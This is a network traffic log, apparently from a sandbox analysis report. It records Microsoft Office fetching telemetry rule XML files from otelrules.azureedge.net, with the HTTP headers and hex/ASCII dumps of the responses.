2024-11-18 23:02:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 77191ddf-101e-0034-1389-3896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230225Z-164f84587bfsgfx9hC1DFWw1as00000006ag00000000nu25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49855	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:25 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:25 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230225Z-16547b76f7fsq6p7hC1DFWfx6800000004tg00000000zycs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:25 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49856	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:25 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:25 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:25 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230225Z-16547b76f7fwggrphC1DFW2a8s0000000570000000012hfg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:25 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49857	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:25 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:25 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230225Z-16547b76f7fxqj4khC1DFWpypw00000003s000000000r5aq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:25 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49858	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:25 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:25 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:25 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230225Z-16547b76f7fl5zvnhC1DFWtk9g00000004u000000000sykr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:25 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49859	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:26 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:26 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:26 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230226Z-16547b76f7fm8pcwhC1DFWaxcc00000004hg00000000f4m7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:26 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49860	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:26 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:26 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:26 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: e902c42c-601e-0097-6404-3af33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230226Z-17cf5b775c4jp6njhC1DFW19kn00000000c00000000079xs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:26 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49861	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:26 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:26 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:26 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230226Z-16547b76f7fl5zvnhC1DFWtk9g00000004s0000000011fnr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:26 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49862	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:26 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:26 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:26 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 494bbfc6-901e-0029-54f3-39274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230226Z-r18f44ddb69vchkhhC1DFWc4bs00000000mg00000000ef6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:26 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49863	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:26 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:26 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:26 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 49ec1b40-d01e-00ad-43af-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230226Z-16547b76f7fxqj4khC1DFWpypw00000003ug00000000cgp8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:26 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49864	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:26 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:27 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:27 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 66d79bbb-701e-006f-4ab4-39afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230227Z-16547b76f7fr5rfnhC1DFW0am400000003zg000000006fs1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:27 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49865	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:26 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:27 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:27 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: bc853cf7-701e-006f-6009-37afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230227Z-16547b76f7fl5zvnhC1DFWtk9g00000004wg00000000d4y3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:27 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49866	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
